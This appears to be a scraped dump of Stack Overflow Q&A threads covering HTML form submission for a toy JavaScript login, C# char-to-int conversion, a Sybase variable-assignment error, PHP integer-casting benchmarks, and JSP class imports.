to submit when the user hits enter or press the submit button.</p>\n\n<pre><code> &lt;form id=\"Form-v2\" action=\"#\"&gt;\n\n&lt;input type=\"text\" name=\"search_field\" placeholder=\"Enter a movie\" value=\"\" \nid=\"search_field\" title=\"Enter a movie here\" class=\"blink search-field\" /&gt;\n&lt;input type=\"submit\" onclick=\"\" value=\"GO!\" class=\"search-button\" /&gt; \n &lt;/form&gt;\n\n &lt;script&gt;\n //submit the form\n $( \"#Form-v2\" ).submit(function( event ) {\n event.preventDefault();\n });\n &lt;/script&gt;\n</code></pre>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239082", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27171/" ]
I'm working on a simple javascript login for a site, and have come up with this: ``` <form id="loginwindow"> <strong>Login to view!</strong> <p><strong>User ID:</strong> <input type="text" name="text2"> </p> <p><strong>Password:</strong> <input type="password" name="text1"><br> <input type="button" value="Check In" name="Submit" onclick=javascript:validate(text2.value,"username",text1.value,"password") /> </p> </form> <script language = "javascript"> function validate(text1,text2,text3,text4) { if (text1==text2 && text3==text4) load('album.html'); else { load('failure.html'); } } function load(url) { location.href=url; } </script> ``` ...which works except for one thing: hitting enter to submit the form doesn't do anything. I have a feeling it's cause I've used "onclick" but I'm not sure what to use instead. Thoughts? --- Okay yeah so I'm well aware of how flimsy this is security-wise. It's not for anything particularly top secret, so it's not a huge issue, but if you guys could elaborate on your thoughts with code, I'd love to see your ideas. the code i listed is literally all I'm working with at this point, so I can start from scratch if need be.
There are several topics being discussed at once here. Let's try to clarify. **1. Your Immediate Concern:** (*Why won't the input button work when ENTER is pressed?*) Use the **submit** button type. ``` <input type="submit".../> ``` ..instead of ``` <input type="button".../> ``` Your problem doesn't really have anything to do with having used an **onclick** attribute. Instead, you're not getting the behavior you want because you've used the **button** input type, which simply doesn't behave the same way that submit buttons do. In HTML and XHTML, there are default behaviors for certain elements. Input buttons on forms are often of type "submit". In most browsers, "submit" buttons **fire by default** when ENTER is pressed from a focused element **in the same form element**. The "button" input type does not. If you'd like to take advantage of that default behavior, you can change your input type to "submit". For example: ``` <form action="/post.php" method="post"> <!-- ... --> <input type="submit" value="go"/> </form> ``` **2. Security concerns:** *@Ady* mentioned a security concern. There are a whole bucket of security concerns associated with doing a **login in javascript**. These are probably outside of the **domain of this question**, especially since you've indicated that you aren't particularly worried about it, and the fact that your login method was actually just setting the location.href to a new html page (indicating that you probably don't have any real security mechanism in place). Instead of drudging that up, here are **links to related topics** on SO, if anyone is interested in those questions directly. * [**Is there some way I can do a user validation client-side?**](https://stackoverflow.com/questions/32710/is-there-some-way-i-can-validate-a-user-in-client-side) * [**Encrypting Ajax calls for authentication in jQuery**](https://stackoverflow.com/questions/148068/is-encrypting-ajax-calls-for-authentication-possible-with-jquery) **3. Other Issues:** Here's a **quick cleanup** of your code, which just follows some best practices. It doesn't address the security concern that folks have mentioned. Instead, I'm including it simply to **illustrate some healthy habits**. If you have specific questions about why I've written something a certain way, feel free to ask. Also, **browse the stack for related topics** (as your question may have already been discussed here). The main thing to notice is the **removal of the event attributes** (onclick="", onsubmit="", or onkeypress="") from the HTML. Those belong in javascript, and it's considered a best practice to keep the javascript events out of the markup. ``` <form action="#" method="post" id="loginwindow"> <h3>Login to view!</h3> <label>User ID: <input type="text" id="userid"></label> <label>Password: <input type="password" id="pass"></label> <input type="submit" value="Check In" /> </form> <script type="text/javascript"> window.onload = function () { var loginForm = document.getElementById('loginwindow'); if ( loginwindow ) { loginwindow.onsubmit = function () { var userid = document.getElementById('userid'); var pass = document.getElementById('pass'); // Make sure javascript found the nodes: if (!userid || !pass ) { return false; } // Actually check values, however you'd like this to be done: if (pass.value !== "secret") { location.href = 'failure.html'; } location.href = 'album.html'; return false; }; } }; </script> ```
239,103
<p>I have a char in c#:</p> <pre><code>char foo = '2'; </code></pre> <p>Now I want to get the 2 into an int. I find that Convert.ToInt32 returns the actual decimal value of the char and not the number 2. The following will work:</p> <pre><code>int bar = Convert.ToInt32(new string(foo, 1)); </code></pre> <p>int.parse only works on strings as well. </p> <p>Is there no native function in C# to go from a char to int without making it a string? I know this is trivial but it just seems odd that there's nothing native to directly make the conversion.</p>
[ { "answer_id": 239107, "author": "Paige Ruten", "author_id": 813, "author_profile": "https://Stackoverflow.com/users/813", "pm_score": 8, "selected": false, "text": "<p>This will convert it to an <code>int</code>:</p>\n<pre><code>char foo = '2';\nint bar = foo - '0';\n</code></pre>\n<p>This works because each character is internally represented by a number. The characters <code>'0'</code> to <code>'9'</code> are represented by consecutive numbers, so finding the difference between the characters <code>'0'</code> and <code>'2'</code> results in the number 2.</p>\n" }, { "answer_id": 239109, "author": "sontek", "author_id": 17176, "author_profile": "https://Stackoverflow.com/users/17176", "pm_score": 5, "selected": false, "text": "<pre><code>char c = '1';\nint i = (int)(c - '0');\n</code></pre>\n<p>and you can create a static method out of it:</p>\n<pre><code>static int ToInt(this char c)\n{\n return (int)(c - '0');\n}\n</code></pre>\n" }, { "answer_id": 239159, "author": "faulty", "author_id": 20007, "author_profile": "https://Stackoverflow.com/users/20007", "pm_score": 7, "selected": false, "text": "<p>Has anyone considered using <code>int.Parse()</code> and <code>int.TryParse()</code> like this</p>\n\n<pre><code>int bar = int.Parse(foo.ToString());\n</code></pre>\n\n<p>Even better like this</p>\n\n<pre><code>int bar;\nif (!int.TryParse(foo.ToString(), out bar))\n{\n //Do something to correct the problem\n}\n</code></pre>\n\n<p>It's a lot safer and less error prone</p>\n" }, { "answer_id": 795991, "author": "Chad Grant", "author_id": 1385845, "author_profile": "https://Stackoverflow.com/users/1385845", "pm_score": 9, "selected": true, "text": "<p>Interesting answers but the docs say differently:</p>\n\n<blockquote>\n <p>Use the <code>GetNumericValue</code> methods to\n convert a <code>Char</code> object that represents\n a number to a numeric value type. Use\n <code>Parse</code> and <code>TryParse</code> to convert a\n character in a string into a <code>Char</code>\n object. Use <code>ToString</code> to convert a <code>Char</code>\n object to a <code>String</code> object.</p>\n</blockquote>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/system.char.aspx\" rel=\"noreferrer\">http://msdn.microsoft.com/en-us/library/system.char.aspx</a></p>\n" }, { "answer_id": 8677050, "author": "RollerCosta", "author_id": 1016228, "author_profile": "https://Stackoverflow.com/users/1016228", "pm_score": 4, "selected": false, "text": "<p>Try This<br/></p>\n\n<pre><code>char x = '9'; // '9' = ASCII 57\n\nint b = x - '0'; //That is '9' - '0' = 57 - 48 = 9\n</code></pre>\n" }, { "answer_id": 13082249, "author": "Nikolay", "author_id": 1679627, "author_profile": "https://Stackoverflow.com/users/1679627", "pm_score": 3, "selected": false, "text": "<p>By default you use UNICODE so I suggest using faulty's method </p>\n\n<p><code>int bar = int.Parse(foo.ToString());</code></p>\n\n<p>Even though the numeric values under are the same for digits and basic Latin chars.</p>\n" }, { "answer_id": 18435669, "author": "Renán Díaz", "author_id": 2716612, "author_profile": "https://Stackoverflow.com/users/2716612", "pm_score": -1, "selected": false, "text": "<p>This worked for me:</p>\n\n<pre><code>int bar = int.Parse(\"\" + foo);\n</code></pre>\n" }, { "answer_id": 29712248, "author": "Dan Friedman", "author_id": 1152054, "author_profile": "https://Stackoverflow.com/users/1152054", "pm_score": 3, "selected": false, "text": "<p>This converts to an integer and handles unicode</p>\n\n<p><code>CharUnicodeInfo.GetDecimalDigitValue('2')</code></p>\n\n<p>You can read more <a href=\"https://msdn.microsoft.com/en-us/library/vstudio/fw9t1kbk(v=vs.100).aspx\" rel=\"noreferrer\">here</a>.</p>\n" }, { "answer_id": 31981205, "author": "antonio", "author_id": 1024754, "author_profile": "https://Stackoverflow.com/users/1024754", "pm_score": 2, "selected": false, "text": "<p>I'm using Compact Framework 3.5, and not has a \"char.Parse\" method.\nI think is not bad to use the Convert class. (See CLR via C#, Jeffrey Richter)</p>\n\n<pre><code>char letterA = Convert.ToChar(65);\nConsole.WriteLine(letterA);\nletterA = 'あ';\nushort valueA = Convert.ToUInt16(letterA);\nConsole.WriteLine(valueA);\nchar japaneseA = Convert.ToChar(valueA);\nConsole.WriteLine(japaneseA);\n</code></pre>\n\n<p>Works with ASCII char or Unicode char</p>\n" }, { "answer_id": 41655385, "author": "Slai", "author_id": 1383168, "author_profile": "https://Stackoverflow.com/users/1383168", "pm_score": 2, "selected": false, "text": "<p>Comparison of some of the methods based on the result when the character is not an ASCII digit:</p>\n<pre><code>char c1 = (char)('0' - 1), c2 = (char)('9' + 1); \n\nDebug.Print($&quot;{c1 &amp; 15}, {c2 &amp; 15}&quot;); // 15, 10\nDebug.Print($&quot;{c1 ^ '0'}, {c2 ^ '0'}&quot;); // 31, 10\nDebug.Print($&quot;{c1 - '0'}, {c2 - '0'}&quot;); // -1, 10\nDebug.Print($&quot;{(uint)c1 - '0'}, {(uint)c2 - '0'}&quot;); // 4294967295, 10\nDebug.Print($&quot;{char.GetNumericValue(c1)}, {char.GetNumericValue(c2)}&quot;); // -1, -1\n</code></pre>\n" }, { "answer_id": 44248498, "author": "gamerdev", "author_id": 8082890, "author_profile": "https://Stackoverflow.com/users/8082890", "pm_score": -1, "selected": false, "text": "<p>I've seen many answers but they seem confusing to me. Can't we just simply use Type Casting.</p>\n\n<p>For ex:-</p>\n\n<pre><code>int s;\nchar i= '2';\ns = (int) i;\n</code></pre>\n" }, { "answer_id": 47975935, "author": "Tomer Wolberg", "author_id": 8271180, "author_profile": "https://Stackoverflow.com/users/8271180", "pm_score": 3, "selected": false, "text": "<p><strong>Principle:</strong></p>\n\n<pre><code>char foo = '2';\nint bar = foo &amp; 15;\n</code></pre>\n\n<p>The binary of the ASCII charecters 0-9 is:</p>\n\n<pre><code>0   -   0011 0000\n1   -   0011 0001\n2   -   0011 0010\n3   -   0011 0011\n4   -   0011 0100\n5   -   0011 0101\n6   -   0011 0110\n7   -   0011 0111\n8   -   0011 1000\n9   -   0011 1001\n</code></pre>\n\n<p>and if you take in each one of them the first 4 LSB (using bitwise AND with 8'b00001111 that equals to 15) you get the actual number (0000 = 0,0001=1,0010=2,... )</p>\n\n<p><strong>Usage:</strong></p>\n\n<pre><code>public static int CharToInt(char c)\n{\n return 0b0000_1111 &amp; (byte) c;\n}\n</code></pre>\n" }, { "answer_id": 49803301, "author": "Normantas Stankevičius", "author_id": 9637843, "author_profile": "https://Stackoverflow.com/users/9637843", "pm_score": 3, "selected": false, "text": "<p>The real way is:</p>\n\n<blockquote>\n <p>int theNameOfYourInt = (int).Char.GetNumericValue(theNameOfYourChar);</p>\n</blockquote>\n\n<p>\"theNameOfYourInt\" - the int you want your char to be transformed to.</p>\n\n<p>\"theNameOfYourChar\" - The Char you want to be used so it will be transformed into an int.</p>\n\n<p>Leave everything else be.</p>\n" }, { "answer_id": 56634031, "author": "Hamit YILDIRIM", "author_id": 914284, "author_profile": "https://Stackoverflow.com/users/914284", "pm_score": 3, "selected": false, "text": "<p>I am agree with @Chad Grant</p>\n\n<p>Also right if you convert to string then you can use that value as numeric as said in the question</p>\n\n<pre><code>int bar = Convert.ToInt32(new string(foo, 1)); // =&gt; gives bar=2\n</code></pre>\n\n<p>I tried to create a more simple and understandable example</p>\n\n<pre><code>char v = '1';\nint vv = (int)char.GetNumericValue(v); \n</code></pre>\n\n<p>char.GetNumericValue(v) returns as double and converts to (int)</p>\n\n<p>More Advenced usage as an array</p>\n\n<pre><code>int[] values = \"41234\".ToArray().Select(c=&gt; (int)char.GetNumericValue(c)).ToArray();\n</code></pre>\n" }, { "answer_id": 67908779, "author": "Akhila Babu", "author_id": 16131219, "author_profile": "https://Stackoverflow.com/users/16131219", "pm_score": 2, "selected": false, "text": "<p>First convert the character to a string and then convert to integer.</p>\n<pre><code>var character = '1';\nvar integerValue = int.Parse(character.ToString());\n</code></pre>\n" }, { "answer_id": 67955420, "author": "Amir", "author_id": 3782535, "author_profile": "https://Stackoverflow.com/users/3782535", "pm_score": 0, "selected": false, "text": "<p>Use this:</p>\n<pre><code>public static string NormalizeNumbers(this string text)\n{\n if (string.IsNullOrWhiteSpace(text)) return text;\n\n string normalized = text;\n\n char[] allNumbers = text.Where(char.IsNumber).Distinct().ToArray();\n\n foreach (char ch in allNumbers)\n {\n char equalNumber = char.Parse(char.GetNumericValue(ch).ToString(&quot;N0&quot;));\n normalized = normalized.Replace(ch, equalNumber);\n }\n\n return normalized;\n}\n</code></pre>\n" }, { "answer_id": 68732686, "author": "Ian M", "author_id": 16635376, "author_profile": "https://Stackoverflow.com/users/16635376", "pm_score": 0, "selected": false, "text": "<p>One very quick simple way just to convert chars 0-9 to integers:\nC# treats a char value much like an integer.</p>\n<p>char c = '7'; (ascii code 55) int x = c - 48; (result = integer of 7)</p>\n" }, { "answer_id": 69089437, "author": "ElVit", "author_id": 13211180, "author_profile": "https://Stackoverflow.com/users/13211180", "pm_score": 0, "selected": false, "text": "<p>Use <a href=\"https://learn.microsoft.com/de-de/dotnet/api/system.uri.fromhex?view=net-5.0\" rel=\"nofollow noreferrer\">Uri.FromHex</a>.<br />\nAnd to avoid exceptions <a href=\"https://learn.microsoft.com/de-de/dotnet/api/system.uri.ishexdigit?view=net-5.0\" rel=\"nofollow noreferrer\">Uri.IsHexDigit</a>.</p>\n<pre><code>char testChar = 'e';\nint result = Uri.IsHexDigit(testChar) \n ? Uri.FromHex(testChar)\n : -1;\n</code></pre>\n" }, { "answer_id": 72253729, "author": "Титан", "author_id": 14871509, "author_profile": "https://Stackoverflow.com/users/14871509", "pm_score": 1, "selected": false, "text": "<p>I was searched for the most optimized method and was very surprized that the best is the easiest (and the most popular answer):</p>\n<pre class=\"lang-cs prettyprint-override\"><code>public static int ToIntT(this char c) =&gt;\n c is &gt;= '0' and &lt;= '9'?\n c-'0' : -1;\n</code></pre>\n<p>There a list of methods I tried:</p>\n<pre class=\"lang-cs prettyprint-override\"><code>c-'0' //current\nswitch //about 25% slower, no method with disabled isnum check (it is but performance is same as with enabled)\n0b0000_1111 &amp; (byte) c; //same speed\nUri.FromHex(c) /*2 times slower; about 20% slower if use my isnum check*/ (c is &gt;= '0' and &lt;= '9') /*instead of*/ Uri.IsHexDigit(testChar)\n(int)char.GetNumericValue(c); // about 20% slower. I expected it will be much more slower.\nConvert.ToInt32(new string(c, 1)) //3-4 times slower\n</code></pre>\n<p>Note that isnum check (2nd line in the first codeblock) takes ~30% of perfomance, so you should take it off if you sure that <code>c</code> is char. The testing error was ~5%</p>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239103", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26854/" ]
I have a char in c#: ``` char foo = '2'; ``` Now I want to get the 2 into an int. I find that Convert.ToInt32 returns the actual decimal value of the char and not the number 2. The following will work: ``` int bar = Convert.ToInt32(new string(foo, 1)); ``` int.parse only works on strings as well. Is there no native function in C# to go from a char to int without making it a string? I know this is trivial but it just seems odd that there's nothing native to directly make the conversion.
Interesting answers but the docs say differently: > > Use the `GetNumericValue` methods to > convert a `Char` object that represents > a number to a numeric value type. Use > `Parse` and `TryParse` to convert a > character in a string into a `Char` > object. Use `ToString` to convert a `Char` > object to a `String` object. > > > <http://msdn.microsoft.com/en-us/library/system.char.aspx>
239,122
<p>Just to clarify, I'm running Sybase 12.5.3, but I am lead to believe that this holds true for SQL Server 2005 too. Basically, I'm trying to write a query that looks a little like this, I've simplified it as much as possible to highlight the problem:</p> <pre><code>DECLARE @a int, @b int, @c int SELECT @a = huzzah.a ,@b = huzzah.b ,@c = huzzah.c FROM ( SELECT 1 a ,2 b ,3 c ) huzzah </code></pre> <p>This query gives me the following error: <em>"Error:141 A SELECT statement that assigns a value to a variable must not be combined with data-retrieval operations."</em></p> <p>The only work around that I've got for this so far, is to insert the derived-table data into a temporary table and then select it right back out again. Which works fine, but the fact that this doesn't work irks me. Is there a better way to do this?</p>
[ { "answer_id": 239407, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>I've just ran your code against 12.5.3 and it parses fine...doesn't return anything but it does run. Have you maybe simplified the problem a bit too much because I'm not seeing any error messages at all.</p>\n\n<p>Just to be clear, the following runs and returns what you'd expect.</p>\n\n<pre><code>DECLARE @a int, @b int, @c int\n\nSELECT\n @a = huzzah.a\n ,@b = huzzah.b\n ,@c = huzzah.c\nFROM (\n SELECT\n 1 a\n ,2 b\n ,3 c\n) huzzah\n\nselect @a\nselect @b\nselect @c\n</code></pre>\n" }, { "answer_id": 248612, "author": "AdamH", "author_id": 21081, "author_profile": "https://Stackoverflow.com/users/21081", "pm_score": 3, "selected": true, "text": "<p>The error does appear as described in 12.5.3 esd 4 &amp; 7, it runs fine in 12.5.4 esd 4 &amp; 6.</p>\n\n<p>Looks like a bug that's been patched, your only options seem to be workaround or patch.</p>\n\n<p>Have found what appears to be the <a href=\"http://search.sybase.com/kbx/changerequests?bug_id=377625\" rel=\"nofollow noreferrer\">bug 377625</a></p>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239122", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1030/" ]
Just to clarify, I'm running Sybase 12.5.3, but I am lead to believe that this holds true for SQL Server 2005 too. Basically, I'm trying to write a query that looks a little like this, I've simplified it as much as possible to highlight the problem: ``` DECLARE @a int, @b int, @c int SELECT @a = huzzah.a ,@b = huzzah.b ,@c = huzzah.c FROM ( SELECT 1 a ,2 b ,3 c ) huzzah ``` This query gives me the following error: *"Error:141 A SELECT statement that assigns a value to a variable must not be combined with data-retrieval operations."* The only work around that I've got for this so far, is to insert the derived-table data into a temporary table and then select it right back out again. Which works fine, but the fact that this doesn't work irks me. Is there a better way to do this?
The error does appear as described in 12.5.3 esd 4 & 7, it runs fine in 12.5.4 esd 4 & 6. Looks like a bug that's been patched, your only options seem to be workaround or patch. Have found what appears to be the [bug 377625](http://search.sybase.com/kbx/changerequests?bug_id=377625)
239,136
<p>Using PHP, what's the fastest way to convert a string like this: <code>"123"</code> to an integer?</p> <p>Why is that particular method the fastest? What happens if it gets unexpected input, such as <code>"hello"</code> or an array?</p>
[ { "answer_id": 239173, "author": "nickf", "author_id": 9021, "author_profile": "https://Stackoverflow.com/users/9021", "pm_score": 10, "selected": true, "text": "<p>I've just set up a quick benchmarking exercise:</p>\n\n<pre><code>Function time to run 1 million iterations\n--------------------------------------------\n(int) \"123\": 0.55029\nintval(\"123\"): 1.0115 (183%)\n\n(int) \"0\": 0.42461\nintval(\"0\"): 0.95683 (225%)\n\n(int) int: 0.1502\nintval(int): 0.65716 (438%)\n\n(int) array(\"a\", \"b\"): 0.91264\nintval(array(\"a\", \"b\")): 1.47681 (162%)\n\n(int) \"hello\": 0.42208\nintval(\"hello\"): 0.93678 (222%)\n</code></pre>\n\n<p>On average, calling intval() is two and a half times slower, and the difference is the greatest if your input already is an integer.</p>\n\n<p>I'd be interested to know <em>why</em> though.</p>\n\n<hr>\n\n<p>Update: I've run the tests again, this time with coercion <code>(0 + $var)</code></p>\n\n<pre><code>| INPUT ($x) | (int) $x |intval($x) | 0 + $x |\n|-----------------|------------|-----------|-----------|\n| \"123\" | 0.51541 | 0.96924 | 0.33828 |\n| \"0\" | 0.42723 | 0.97418 | 0.31353 |\n| 123 | 0.15011 | 0.61690 | 0.15452 |\n| array(\"a\", \"b\") | 0.8893 | 1.45109 | err! |\n| \"hello\" | 0.42618 | 0.88803 | 0.1691 |\n|-----------------|------------|-----------|-----------|\n</code></pre>\n\n<p><strong>Addendum:</strong> I've just come across a slightly unexpected behaviour which you should be aware of when choosing one of these methods:</p>\n\n<pre><code>$x = \"11\";\n(int) $x; // int(11)\nintval($x); // int(11)\n$x + 0; // int(11)\n\n$x = \"0x11\";\n(int) $x; // int(0)\nintval($x); // int(0)\n$x + 0; // int(17) !\n\n$x = \"011\";\n(int) $x; // int(11)\nintval($x); // int(11)\n$x + 0; // int(11) (not 9)\n</code></pre>\n\n<p><sub>Tested using PHP 5.3.1</sub></p>\n" }, { "answer_id": 239174, "author": "staticsan", "author_id": 28832, "author_profile": "https://Stackoverflow.com/users/28832", "pm_score": 4, "selected": false, "text": "<p>Run a test. </p>\n\n<pre><code> string coerce: 7.42296099663\n string cast: 8.05654597282\n string fail coerce: 7.14159703255\n string fail cast: 7.87444186211\n</code></pre>\n\n<p>This was a test that ran each scenario 10,000,000 times. :-)</p>\n\n<p>Co-ercion is <code>0 + \"123\"</code></p>\n\n<p>Casting is <code>(integer)\"123\"</code></p>\n\n<p>I think Co-ercion is a tiny bit faster. Oh, and trying <code>0 + array('123')</code> is a fatal error in PHP. You might want your code to check the type of the supplied value.</p>\n\n<p>My test code is below.</p>\n\n<hr>\n\n<pre><code>function test_string_coerce($s) {\n return 0 + $s;\n}\n\nfunction test_string_cast($s) {\n return (integer)$s;\n}\n\n$iter = 10000000;\n\nprint \"-- running each text $iter times.\\n\";\n\n// string co-erce\n$string_coerce = new Timer;\n$string_coerce-&gt;Start();\n\nprint \"String Coerce test\\n\";\nfor( $i = 0; $i &lt; $iter ; $i++ ) {\n test_string_coerce('123');\n}\n\n$string_coerce-&gt;Stop();\n\n// string cast\n$string_cast = new Timer;\n$string_cast-&gt;Start();\n\nprint \"String Cast test\\n\";\nfor( $i = 0; $i &lt; $iter ; $i++ ) {\n test_string_cast('123');\n}\n\n$string_cast-&gt;Stop();\n\n// string co-erce fail.\n$string_coerce_fail = new Timer;\n$string_coerce_fail-&gt;Start();\n\nprint \"String Coerce fail test\\n\";\nfor( $i = 0; $i &lt; $iter ; $i++ ) {\n test_string_coerce('hello');\n}\n\n$string_coerce_fail-&gt;Stop();\n\n// string cast fail\n$string_cast_fail = new Timer;\n$string_cast_fail-&gt;Start();\n\nprint \"String Cast fail test\\n\";\nfor( $i = 0; $i &lt; $iter ; $i++ ) {\n test_string_cast('hello');\n}\n\n$string_cast_fail-&gt;Stop();\n\n// -----------------\nprint \"\\n\";\nprint \"string coerce: \".$string_coerce-&gt;Elapsed().\"\\n\";\nprint \"string cast: \".$string_cast-&gt;Elapsed().\"\\n\";\nprint \"string fail coerce: \".$string_coerce_fail-&gt;Elapsed().\"\\n\";\nprint \"string fail cast: \".$string_cast_fail-&gt;Elapsed().\"\\n\";\n\n\nclass Timer {\n var $ticking = null;\n var $started_at = false;\n var $elapsed = 0;\n\n function Timer() {\n $this-&gt;ticking = null;\n }\n\n function Start() {\n $this-&gt;ticking = true;\n $this-&gt;started_at = microtime(TRUE);\n }\n\n function Stop() {\n if( $this-&gt;ticking )\n $this-&gt;elapsed = microtime(TRUE) - $this-&gt;started_at;\n $this-&gt;ticking = false;\n }\n\n function Elapsed() {\n switch( $this-&gt;ticking ) {\n case true: return \"Still Running\";\n case false: return $this-&gt;elapsed;\n case null: return \"Not Started\";\n }\n }\n}\n</code></pre>\n" }, { "answer_id": 239292, "author": "Rexxars", "author_id": 11167, "author_profile": "https://Stackoverflow.com/users/11167", "pm_score": 5, "selected": false, "text": "<p>I personally feel casting is the prettiest.</p>\n\n<pre><code>$iSomeVar = (int) $sSomeOtherVar;\n</code></pre>\n\n<p>Should a string like 'Hello' be sent, it will be cast to integer 0. For a string such as '22 years old', it will be cast to integer 22. Anything it can't parse to a number becomes 0.</p>\n\n<p>If you really do NEED the speed, I guess the other suggestions here are correct in assuming that coercion is the fastest.</p>\n" }, { "answer_id": 9995790, "author": "Elric Wamugu", "author_id": 996948, "author_profile": "https://Stackoverflow.com/users/996948", "pm_score": 3, "selected": false, "text": "<pre><code>$int = settype(\"100\", \"integer\"); //convert the numeric string to int\n</code></pre>\n" }, { "answer_id": 23342786, "author": "Nishchit", "author_id": 2837412, "author_profile": "https://Stackoverflow.com/users/2837412", "pm_score": 4, "selected": false, "text": "<p>You can simply convert long string into integer by using FLOAT</p>\n\n<p><code>$float = (float)$num; </code></p>\n\n<p>Or if you want integer not floating val then go with</p>\n\n<p><code>$float = (int)$num; </code></p>\n\n<p>For ex.</p>\n\n<pre><code>(int) \"1212.3\" = 1212 \n(float) \"1212.3\" = 1212.3\n</code></pre>\n" }, { "answer_id": 23949435, "author": "Daniel", "author_id": 1109010, "author_profile": "https://Stackoverflow.com/users/1109010", "pm_score": 2, "selected": false, "text": "<p>More ad-hoc benchmark results:</p>\n\n<pre><code>$ time php -r 'for ($x = 0;$x &lt; 999999999; $x++){$i = (integer) \"-11\";}' \n\nreal 2m10.397s\nuser 2m10.220s\nsys 0m0.025s\n\n$ time php -r 'for ($x = 0;$x &lt; 999999999; $x++){$i += \"-11\";}' \n\nreal 2m1.724s\nuser 2m1.635s\nsys 0m0.009s\n\n$ time php -r 'for ($x = 0;$x &lt; 999999999; $x++){$i = + \"-11\";}' \n\nreal 1m21.000s\nuser 1m20.964s\nsys 0m0.007s\n</code></pre>\n" }, { "answer_id": 24523331, "author": "Developer", "author_id": 2248514, "author_profile": "https://Stackoverflow.com/users/2248514", "pm_score": 3, "selected": false, "text": "<p>integer excract from any string</p>\n\n<p>$in = 'tel.123-12-33';</p>\n\n<pre><code>preg_match_all('!\\d+!', $in, $matches);\n$out = (int)implode('', $matches[0]);\n</code></pre>\n\n<p>//$out ='1231233';</p>\n" }, { "answer_id": 25764279, "author": "Andrew Plank", "author_id": 1059666, "author_profile": "https://Stackoverflow.com/users/1059666", "pm_score": 2, "selected": false, "text": "<p>Ran a benchmark, and it turns out the fastest way of getting a <em>real</em> integer (using all the available methods) is</p>\n\n<pre><code>$foo = (int)+\"12.345\";\n</code></pre>\n\n<p>Just using </p>\n\n<pre><code>$foo = +\"12.345\";\n</code></pre>\n\n<p>returns a float.</p>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239136", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9021/" ]
Using PHP, what's the fastest way to convert a string like this: `"123"` to an integer? Why is that particular method the fastest? What happens if it gets unexpected input, such as `"hello"` or an array?
I've just set up a quick benchmarking exercise: ``` Function time to run 1 million iterations -------------------------------------------- (int) "123": 0.55029 intval("123"): 1.0115 (183%) (int) "0": 0.42461 intval("0"): 0.95683 (225%) (int) int: 0.1502 intval(int): 0.65716 (438%) (int) array("a", "b"): 0.91264 intval(array("a", "b")): 1.47681 (162%) (int) "hello": 0.42208 intval("hello"): 0.93678 (222%) ``` On average, calling intval() is two and a half times slower, and the difference is the greatest if your input already is an integer. I'd be interested to know *why* though. --- Update: I've run the tests again, this time with coercion `(0 + $var)` ``` | INPUT ($x) | (int) $x |intval($x) | 0 + $x | |-----------------|------------|-----------|-----------| | "123" | 0.51541 | 0.96924 | 0.33828 | | "0" | 0.42723 | 0.97418 | 0.31353 | | 123 | 0.15011 | 0.61690 | 0.15452 | | array("a", "b") | 0.8893 | 1.45109 | err! | | "hello" | 0.42618 | 0.88803 | 0.1691 | |-----------------|------------|-----------|-----------| ``` **Addendum:** I've just come across a slightly unexpected behaviour which you should be aware of when choosing one of these methods: ``` $x = "11"; (int) $x; // int(11) intval($x); // int(11) $x + 0; // int(11) $x = "0x11"; (int) $x; // int(0) intval($x); // int(0) $x + 0; // int(17) ! $x = "011"; (int) $x; // int(11) intval($x); // int(11) $x + 0; // int(11) (not 9) ``` Tested using PHP 5.3.1
239,147
<p>I am a complete JSP beginner. I am trying to use a <code>java.util.List</code> in a JSP page. What do I need to do to use classes other than ones in <code>java.lang</code>?</p>
[ { "answer_id": 239199, "author": "Axeman", "author_id": 11289, "author_profile": "https://Stackoverflow.com/users/11289", "pm_score": 4, "selected": false, "text": "<p>In the page tag:</p>\n\n<pre><code>&lt;%@ page import=\"java.util.List\" %&gt;\n</code></pre>\n" }, { "answer_id": 239293, "author": "Sandman", "author_id": 19911, "author_profile": "https://Stackoverflow.com/users/19911", "pm_score": 10, "selected": true, "text": "<p>Use the following import statement to import <code>java.util.List</code>:</p>\n\n<pre><code>&lt;%@ page import=\"java.util.List\" %&gt;\n</code></pre>\n\n<p>BTW, to import more than one class, use the following format:</p>\n\n<pre><code>&lt;%@ page import=\"package1.myClass1,package2.myClass2,....,packageN.myClassN\" %&gt;\n</code></pre>\n" }, { "answer_id": 242074, "author": "Kevin Day", "author_id": 10973, "author_profile": "https://Stackoverflow.com/users/10973", "pm_score": 6, "selected": false, "text": "<p>FYI - if you are importing a List into a JSP, chances are pretty good that you are violating MVC principles. Take a few hours <em>now</em> to read up on the <a href=\"https://en.wikipedia.org/wiki/Model-view-controller\" rel=\"noreferrer\">MVC approach</a> to web app development (including use of taglibs) - do some more googling on the subject, it's fascinating and will definitely help you write better apps.</p>\n\n<p>If you are doing anything more complicated than a single JSP displaying some database results, please consider using a framework like <a href=\"https://docs.spring.io/spring/docs/2.0.x/reference/mvc.html\" rel=\"noreferrer\">Spring</a>, <a href=\"http://grails.asia/grails-tutorial-for-beginners-model-view-controller-mvc-pattern/\" rel=\"noreferrer\">Grails</a>, etc... It will absolutely take you a bit more effort to get going, but it will save you so much time and effort down the road that I really recommend it. Besides, it's cool stuff :-)</p>\n" }, { "answer_id": 41284933, "author": "Birhan Nega", "author_id": 4479101, "author_profile": "https://Stackoverflow.com/users/4479101", "pm_score": 3, "selected": false, "text": "<p>This is the syntax to import class</p>\n\n<pre><code> &lt;%@ page import=\"package.class\" %&gt;\n</code></pre>\n" }, { "answer_id": 41376032, "author": "Gaurav Varshney", "author_id": 5403764, "author_profile": "https://Stackoverflow.com/users/5403764", "pm_score": 3, "selected": false, "text": "<p>Use Page Directive to import a Class in JSP page.\nPage Directive Uses 11 Different types of Attributes , One of them is \"import\".\nPage Directive with import Attribute Allows you to Mention more than one package at the same place separated by Commas(,). Alternatively you can have multiple instances of page element each one with Different package .</p>\n\n<p>For Example:</p>\n\n<pre><code> &lt;%@ page import = \"java.io.*\" %&gt;\n &lt;%@ page import = \"java.io.*\", \"java.util.*\"%&gt;\n</code></pre>\n\n<p>Note : the import attribute should be placed before the element that calls the 